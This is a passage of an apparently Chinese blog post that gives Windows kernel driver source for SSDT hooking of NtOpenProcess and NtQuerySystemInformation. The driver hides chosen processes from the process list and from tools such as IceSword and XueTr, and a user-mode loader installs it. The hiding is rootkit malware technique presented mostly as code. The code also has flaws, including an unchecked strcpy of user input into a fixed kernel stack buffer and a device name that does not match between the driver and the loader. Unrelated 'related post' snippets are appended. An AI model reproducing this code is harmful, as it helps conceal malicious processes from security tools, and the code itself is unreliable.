                        // 如果該程序資訊是在尾部 則直接將程序資訊的上一個指標結構偏移量指向空,這樣整個連結串列就忽略了這個程序資訊連結串列 
                        lpspia->NextEntryDelta = 0;
 
                    }                 
 
              }                                                            
 
         }  
 
  
 
          // 儲存這個與我們要保護程序無關的資訊指標~~ 
         lpspia = lpspi; 
         // 如果還有下一個節點 
         if(lpspi->NextEntryDelta != 0)
 
        {
 
            // 移動到下一個節點 進行判斷該節點的資訊是不要移除的資訊 
            lpspi = (SYSTEM_PROCESSES*)((PUCHAR)lpspi+lpspi->NextEntryDelta);
 
        }
 
        else
 
        {
 
            // 如果沒有則置空 結束迴圈 
            lpspi = NULL;
 
//          lpspia->NextEntryDelta = 5;    //加上這個就能隱藏指定程序並且冰刃檢視程序會報錯 XT看不到所有的程序 但是能顯示出正確的程序數 工作管理員可能也會報錯 

        } 

  }
 
  return a;
 
}
 

main.cpp:  主函式
 
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 
#include <main.h>
 

// 定義Rin3 傳遞下來的指令 因與Ring3定義相同 值必須 >=0x800 
#define HOOK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED,FILE_ANY_ACCESS)
 
#define L_HOOK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED,FILE_ANY_ACCESS)
 
#define UnHOOK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED,FILE_ANY_ACCESS)
 

extern "C" 
{
 
       #include <SSDT_HOOK.h>                // SSDT HOOK 框架 
       #include <HOOK_API.h>                 // 要HOOK的函式原型及替代函式 
}
 


// 相當於應用程式的main()函式 這是驅動人口函式,凡是驅動被載入均會從這裡開始執行 
#pragma INITCODE
 
extern "C" NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING B)
 
{       
       // 註冊派遣函式 
       pDriverObject->MajorFunction[IRP_MJ_CREATE]            =    DispatchRoutine; 
       pDriverObject->MajorFunction[IRP_MJ_CLOSE]             =    DispatchRoutine;
 
       pDriverObject->MajorFunction[IRP_MJ_READ]              =    DispatchRoutine;
 
       pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]    =    DispatchRoutine;
 
       
       // 設定解除安裝驅動時要執行的程式碼做善後,不設定則無法解除安裝 
       pDriverObject->DriverUnload                            =    UnLoadSys;  
 
       
       // 建立裝置 和 符號連線 
       CreateMyDevice(pDriverObject, L"\\Device\\L_Device", L"\\??\\LoveMengx_SSDTHOOK_Driver");
 
       
       KdPrint(("【載入】驅動完畢。")); 
  
 
///////////////////////////////////////////////////////////////////////////////////       
       LONG NtAPI_Addrs = 0;
 
       if(!HOOK_API(122, &NtAPI_Addrs, (ULONG)MyNtOpenProcess))
 
       {
 
           KdPrint(("NtOpenProcess HOOK 成功~~", NtAPI_Addrs));
 
           RealNtOpenProcess = (NTOPENPROCESS*)NtAPI_Addrs;
 
       }
 
       else
 
       {
 
           KdPrint(("HOOK 失敗~~", NtAPI_Addrs));          
       }
 
       if(!HOOK_API(173, &NtAPI_Addrs, (ULONG)MyNtQuerySystemInformation))
 
       {
 
           KdPrint(("NtQuerySystemInformation HOOK 成功~~", NtAPI_Addrs));
 
           RealNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION*)NtAPI_Addrs; 
       }
 
       else
 
       {
 
           KdPrint(("HOOK 失敗~~", NtAPI_Addrs));
 
       }
 
              
 
       return 1;                                                    
}
 

// 解除安裝驅動 
#pragma PAGECODE
 
void UnLoadSys(IN PDRIVER_OBJECT pDriverObject)
 
{             
     // 刪除裝置 
     PDEVICE_OBJECT pDev;
 
     pDev =  pDriverObject->DeviceObject;
 
     IoDeleteDevice(pDev);
 
     
 
     // 刪除符號連線
 
     IoDeleteSymbolicLink(&SymLinkName); 

     KdPrint(("【解除安裝】驅動完畢。")); 
     KdPrint(("-----------------------------------")); 
}
 

BOOL HOOKAPI(ULONG Process_PID)
 
{
 
    if(Process_PID >65536)
 
    {
 
         return FALSE;
 
    }
 
    if(!ScanPID(Process_PID))                                    // 檢查是否存在 
    {
 
       _ProcessPID[_ProcessPID_Len] = Process_PID; 
       _ProcessPID_Len++;                        
 
    }
 
    return TRUE;
 
} 

BOOL UnHOOKAPI()
 
{
 
     BOOL Retu = FALSE;
 
     _ProcessPID_Len = 0;
 
     
 
     if(!UnHOOK_API(122, L"NtOpenProcess"))
 
     { 
         Retu = TRUE; 
         KdPrint(("NtOpenProcess UnHOOK 成功~~"));        
 
     }
 
     else
 
     {
 
         Retu = FALSE;
 
         KdPrint(("NtOpenProcess UnHOOK 失敗~~"));
 
     }
 
     
 
     if(!UnHOOK_API(173, L"NtQuerySystemInformation")) 
     {
 
         Retu = TRUE;
 
         KdPrint(("NtQuerySystemInformation UnHOOK 成功~~"));  
 
     }
 
     else
 
     {
 
         Retu = FALSE;
 
         KdPrint(("NtQuerySystemInformation UnHOOK 失敗~~")); 
     } 
     return Retu;   
 
}
 

int my_atoi(const char* p)
 
{
 
bool neg_flag = false;// 符號標記
 
int res = 0;// 結果
 
if(p[0] == '+' || p[0] == '-')
 
neg_flag = (*p++ != '+');
 
while(isdigit(*p)) res = res*10 + (*p++ - '0');
 
return neg_flag ?0 -res : res;
 
}
 

ULONG CallBack(IN ULONG Ring3_Cmd, IN PIRP pIrp)
 
{
 
     // 獲取應用層傳遞下來的資料 
     char* InputBuffer =  (char*)pIrp->AssociatedIrp.SystemBuffer;
 
     char* OutputBuffer = (char*)pIrp->AssociatedIrp.SystemBuffer;
 
     char Tmp[100] = {0};
 
     ULONG Info = 0;
 
     // 分析指令 
     switch(Ring3_Cmd)
 
     {
 
         case HOOK:
 
              { 
  strcpy(Tmp, InputBuffer);
 
                   KdPrint(("使用者傳下來的資料 %s   %d", Tmp,my_atoi(Tmp) ));
 
                   if(HOOKAPI(my_atoi(Tmp)))
 
                   {
 
                        strcpy(Tmp, "ADD 完畢~");
 
                   }
 
                   else
 
                   {
 
                       strcpy(Tmp, "ADD 失敗,PID超過有效範圍~");
 
                   }  
 
                   break; 
              }
 
         case UnHOOK:
 
              {
 
                   if(UnHOOKAPI())
 
                   {
 
                        strcpy(Tmp, "UnHOOK OK");
 
                   }
 
                   else
 
                   {
 
                        strcpy(Tmp, "UnHOOK Error");
 
                   } 
                   break; 
              }
 
         case L_HOOK:                       // 終極隱藏
 
                       _L_HOOK = TRUE;
 
                       strcpy(Tmp, "已經啟動終極隱藏");
 
              break;    
     }
 
     strcpy(OutputBuffer, Tmp);
 
     Info = strlen(Tmp);
 
     return Info; 
} 

Exe完整程式原始碼
 
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////  
 
#include "stdafx.h"
 
#include "stdlib.h"
 
#include "stdio.h"
 

#include<winioctl.h> //CTL_CODE
 
#define UHook CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED,FILE_ANY_ACCESS)
 

BOOL LoadNTDriver(char* lpDriverName,char* lpDriverPathName)
 
{
 
BOOL bRet = FALSE;
 
SC_HANDLE hServiceMgr=NULL;//SCM管理器的控制代碼
 
SC_HANDLE hServiceDDK=NULL;//NT驅動程式的服務控制代碼
 
//開啟服務控制管理器
 
hServiceMgr = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS );
 
if( hServiceMgr == NULL )  
 
{
 
//OpenSCManager失敗
 
//TRACE( "OpenSCManager() Faild %d ! \n", GetLastError() );
 
bRet = FALSE;
 
goto BExit;
 
}
 
//建立驅動所對應的服務
 
hServiceDDK = CreateService( hServiceMgr,
 
lpDriverName, //驅動程式的在登錄檔中的名字  
 
lpDriverName, // 登錄檔驅動程式的 DisplayName 值  
 
SERVICE_ALL_ACCESS, // 載入驅動程式的訪問許可權  
 
SERVICE_KERNEL_DRIVER,// 表示載入的服務是驅動程式  
 
SERVICE_DEMAND_START, // 登錄檔驅動程式的 Start 值  
 
SERVICE_ERROR_IGNORE, // 登錄檔驅動程式的 ErrorControl 值  
 
lpDriverPathName, // 登錄檔驅動程式的 ImagePath 值  
 
NULL,  
 
NULL,  
 
NULL,  
 
NULL,  
 
NULL);  
 
DWORD dwRtn;
 
//判斷服務是否失敗
 
if( hServiceDDK == NULL )  
 
{  
 
dwRtn = GetLastError();
 
if( dwRtn != ERROR_IO_PENDING && dwRtn != ERROR_SERVICE_EXISTS )  
 
{  
 
//由於其他原因建立服務失敗
 
//TRACE( "CrateService() 失敗 %d ! \n", dwRtn );  
 
bRet = FALSE;
 
goto BExit;
 
}  
 
else  
 
{
 
//服務建立失敗,是由於服務已經創立過
 
//TRACE( "CrateService() 服務建立失敗,是由於服務已經創立過 ERROR is ERROR_IO_PENDING or ERROR_SERVICE_EXISTS! \n" );  
 
}
 
// 驅動程式已經載入,只需要開啟  
 
hServiceDDK = OpenService( hServiceMgr, lpDriverName, SERVICE_ALL_ACCESS );  
 
if( hServiceDDK == NULL )  
 
{
 
//如果開啟服務也失敗,則意味錯誤
 
dwRtn = GetLastError();  
 
//TRACE( "OpenService() 失敗 %d ! \n", dwRtn );  
 
bRet = FALSE;
 
goto BExit;
 
}  
 
}  
 
//開啟此項服務
 
bRet= StartService( hServiceDDK, NULL, NULL );  
 
if( !bRet )  //開啟服務不成功
 
{  
 
//TRACE( "StartService() 失敗 服務可能已經開啟%d ! \n", dwRtn );  
 
bRet = FALSE;
 
goto BExit;
 
}
 
bRet = TRUE;
 
//離開前關閉控制代碼
 
BExit:
 
if(hServiceDDK)
 
{
 
CloseServiceHandle(hServiceDDK);
 
}
 
if(hServiceMgr)
 
{
 
CloseServiceHandle(hServiceMgr);
 
}
 
return bRet;
 
}
 
//解除安裝驅動程式  
 
BOOL UnLoadSys( char * szSvrName )  
 
{
 
//一定義所用到的變數
 
BOOL bRet = FALSE;
 
SC_HANDLE hSCM=NULL;//SCM管理器的控制代碼,用來存放OpenSCManager的返回值
 
SC_HANDLE hService=NULL;//NT驅動程式的服務控制代碼,用來存放OpenService的返回值
 
SERVICE_STATUS SvrSta;
 
//二開啟SCM管理器
 
hSCM = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS );  
 
if( hSCM == NULL )  
 
{
 
bRet = FALSE;
 
goto BeforeLeave;
 
}  
 

//三開啟驅動所對應的服務
 
hService = OpenService( hSCM, szSvrName, SERVICE_ALL_ACCESS );  
 
if( hService == NULL )  
 
{ 
bRet = FALSE;
 
goto BeforeLeave;
 
}  
 

//四停止驅動程式,如果停止失敗,只有重新啟動才能,再動態載入。  
 
if( !ControlService( hService, SERVICE_CONTROL_STOP , &SvrSta ) )  
 
{  
 
bRet = FALSE;
 
goto BeforeLeave; 
}  
 

//五動態解除安裝驅動服務。  
 
if( !DeleteService( hService ) )  //TRUE//FALSE
 
{
 
bRet = FALSE;
 
goto BeforeLeave;
 
}  
 
  
 
bRet = TRUE;
 
//六 離開前關閉開啟的控制代碼
 
BeforeLeave:
 
if(hService>0)
 
{
 
CloseServiceHandle(hService);
 
}
 
if(hSCM>0)
 
{
 
CloseServiceHandle(hSCM);
 
}
 
return bRet;
 
} 


int APIENTRY WinMain(HINSTANCE hInstance,
 
                     HINSTANCE hPrevInstance,
 
                     LPSTR     lpCmdLine,
 
                     int       nCmdShow)
 
{
 
char FilaPath[MAX_PATH] = {0};
 
char FileName[MAX_PATH] = "UnHook.sys";
 

if(!strstr(lpCmdLine, "-") || !strstr(lpCmdLine,"<") || !strlen(lpCmdLine))
 
{
 
puts("引數格式:指定Nt核心函式的SSDT序列號-Nt核心函式命<");
 
puts("例如:122-NtOpenProcess<");
 

return 1;
 
}
 

GetModuleFileName(NULL,FilaPath,MAX_PATH);
 
*(strrchr(FilaPath,'\\')+1) = '\0';
 
strcat(FilaPath, FileName);
 


if (!LoadNTDriver(FileName, FilaPath))
 
{
 
puts("載入驅動失敗!...");
 
return 1;
 
}
 
Sleep(100);
 

HANDLE hDevice = NULL;
 
hDevice = CreateFile("\\\\.\\LoveMengx_UnSSDTHOOK_Driver",
 
GENERIC_READ|GENERIC_WRITE,
 
0,
 
NULL,
 
OPEN_EXISTING,
 
FILE_ATTRIBUTE_NORMAL,
 
NULL);
 
if (INVALID_HANDLE_VALUE == hDevice)
 
{
 
puts("開啟驅動失敗...");
 
return 1;
 
}
 
char Buff[1024] = {0};
 
char Tmp[1024]= {0};
 
ULONG dwWrite;
 

DeviceIoControl(hDevice, UHook, Buff, strlen(Buff), Tmp, 1024, &dwWrite, NULL);
 
if (UnLoadSys(FileName))
 
{
 
puts("解除安裝驅動失敗...");
 
return 1;
 
}
 

puts("完成操作~~");
 
return 0;
 
}
 


                                                     

相關推薦

SSDT HOOK技術輕鬆新版XueTr失效

剛開始學驅動,成功HOOK NtOpenProces 現在本想試試HOOK NtQuerySystemInformation,沒想打它的結構N多N長,也讓我很驚訝,這個API居然能獲取或者設定超過50多種的資訊。        參考網上的一些程式碼,看的我暈頭轉向的..也

安裝MongoDB新版4.0及配置和啟動實例

logs 默認端口 info mkdir -p 其他 gem nosql數據庫 eml pytho MongoDB簡介: 1.MongoDB是一款基於分布式文件存儲的開源的文檔數據庫,並且是業內領先的NoSQL數據庫,用C++編寫而成。2.在高負載的情況下,添加更多的節點,

2018新版 手機號驗證碼正則表示式 jq + 小程式

HTML: <!-- 表單 --> <input class="weui-input" id="tel" type="tel" placeholder="請輸入手機號"> <input class="weui-input" t

新版windows 2012R2Apache24mod_wsgiDjango1.9python3.4專案部署(生產環境)

感慨一句,歷經千辛萬苦終於在騰訊雲windows2012R2伺服器上部署了Django個人部落格。話不多說,大家先看看效果。Django個人部落格 個人 心得:第一次在wondows伺服器上部署Django。饒了很大彎子,踩了很多坑。現在回過頭總結,常見

Sublime Text 新版啟用碼授權碼註冊碼

—– BEGIN LICENSE —– TwitterInc 200 User License EA7E-890007 1D77F72E 390CDD93 4DCBA022 FAF60790 61AA12C0 A37081C5 D0316412 4584D136 94D7F7

還不會搭建高可用redis架構?技術大牛全總結你一學就會!

題記 Redis 是一個開源的使用 ANSI C 語言編寫、支援網路、可基於記憶體亦可持久化的日誌型、Key-Value 資料庫,並提供多種語言的 API。   如今,網際網路業務的資料正以更快的速度在增長,資料型別越來越豐富,這對資料處理的速度和能力提出了更高要求。Re

工作2-5年java程式設計師,這六個技術輕鬆漲薪50%

      工作多年以及在面試中,我經常能體會到,有些面試者確實是認真努力工作,但坦白說表現出的能力水平卻不足以通過面試,通常是兩方面的原因:   1、“知其然不知其所以然”。做了多年技術,開發了很多業務應用,但似乎並未思考過種種技術

尚觀教育 新版Oracle進階+優化+集訓視訊教程 41集Oralce輕鬆入門-高階部分

課程簡介:    現在階段掌握一門吃香的技術才是我們能在社會中立足,很多人比較青睞oracle開發工程師的工作,今天樓主在這裡分享了oracle基礎學習全套視訊教程,需要的朋友可以看看! -------------------課程目錄------------------- d

android hook技術-Xposed框架 幫你輕鬆應對支付寶2016晒賬單

一、支付寶2016年賬單。 最近幾天微信朋友圈充斥著各式的支付寶2016賬單,對於程式設計師屌絲來說打開發現年度消費9W+,和他們動輒十幾萬的消費沒得比,細看更有80%的消費還都是還信用卡,頓時萬念俱灰啊!!!  有木有!!! 突然看到有人發出了負數的賬單,也是醉了。。。看

幹貨分享!DevExpressv16.2新版演示示例等你來收!(下)

二進制 最新動態 版本升級 為解決大家找資源難的問題,EVGET聯合DevExpress控件中文網盤點熱門的DevExpress資訊、Demo示例、版本升級及下載,以及各種教程推薦等。更多下載及資訊也可以在DevExpress控件中文網中找到,及時了解最新動態>>示例Demo(仍在持續

PHP一鍵集成環境phpStudy新版安裝包分享

下載地址 控制面板 最新版 linux 操作系統 今天春哥技術博客來給大家分享一下最新版的phpstudy安裝包,phpstudy非常好用的一款一鍵集成php環境安裝包,很多人都在用,我們春哥技術團隊也一直在用,非常好用,推薦給大家。我們推薦用phpstudy默認的組合:php5.4.45

離線安裝docker新版,記得要以下三個包。

oar btool 最新版 刪除 html root images ges con 如果安裝了以前版本,還要刪除以下這個包。 container-selinux.noarch 2:2.10-2.el7 ============== 離線安裝三個rpm -rw-r--

一個技術人,重要的是:極客精神(好奇心 + 探索欲)

重要 大神 net 最大的 程序員 領域 實戰 探索 市場需求 一個技術人,最重要的是:極客精神(好奇心 + 探索欲) 初到社會,面對眾多的IT企業,我們是陌生與好奇的,認為所有企業都是管理一流並且高大上等的。然而工作多年以後你會發現,國內的

centos7編譯安裝新版Git

ref pla clas 獲取 解壓 lan tle lang hub 安裝依賴包 yum -y install zlib-devel curl-devel openssl-devel perl cpio expat-devel gettext-devel openssl

新版,別的可以不用看了,zabbix 監控 esxi

下載次數 最新版 朋友 監控 信息 【請細心的把本文檔讀完,如果不讀不要過來問我,如果是廢話我也不會碼這麽多字!】之前因為自己需要寫了ESXi的監控帖子,沒想到很受歡迎。因為文檔等內容寫的不夠詳細,導致很多朋友部署的時候遇到了各種問題,趁換工作的空當來總結一下這個監控文檔的使用方法。以後可

高仿百思不得姐(新版4.5.6)

需要 screen 高仿 property rect society 多選 透明 nav 先上效果圖 1 2 3 4 5 6 7 8 9 10 11 本demo已經實現以下功能 音視頻播放器 啟動廣告 語音、圖片評論顯示 長文本收縮與展開切

近期的技術問題雲供應商進行預設加密

gravity 積極 one dsm 無線網絡 由於 雲硬盤 檔案 斷線 在過去的一年裏,加密一直是個熱門話題。因為個人和企業越來越意識到監視活動的添加,還有像CryptoLocker勒索軟件這樣顛覆性的惡意軟件。讓加密變成一種破壞行為而非保護功能。在這期間,網絡公

jenkins新版下載安裝

操作 password mir 密碼 html post htm www webapp 安裝方法參考:https://jenkins.io/doc/book/getting-started/installing/ 拷貝jenkins.war到服務器上,安裝 執行命令

cenos下安裝MySQL新版(5.7.18)記錄。附卸載老版本過程

date -s lib 包括 localhost utf8 lte 作者 detail 首先說明:老版本數據庫沒有數據,所以無數據備份過程。如果你在升級數據庫過程裏,需要備份數據,請另外自行處理。 1、下載最新版MySQL、解壓待用 wget https://dev

nginx 升級為新版 nginx -1.12.0

nginx公司目前使用的nginx版本比較低(nginx-1.0.12),請網絡安全公司做了一下“遠程安全評估”,發現有下列漏洞: nginx URI處理安全限制繞過漏洞(CVE-2013-4547) Nginx ‘access.log‘不安全文件權限漏洞(CVE-2013-0337) nginx SSL會話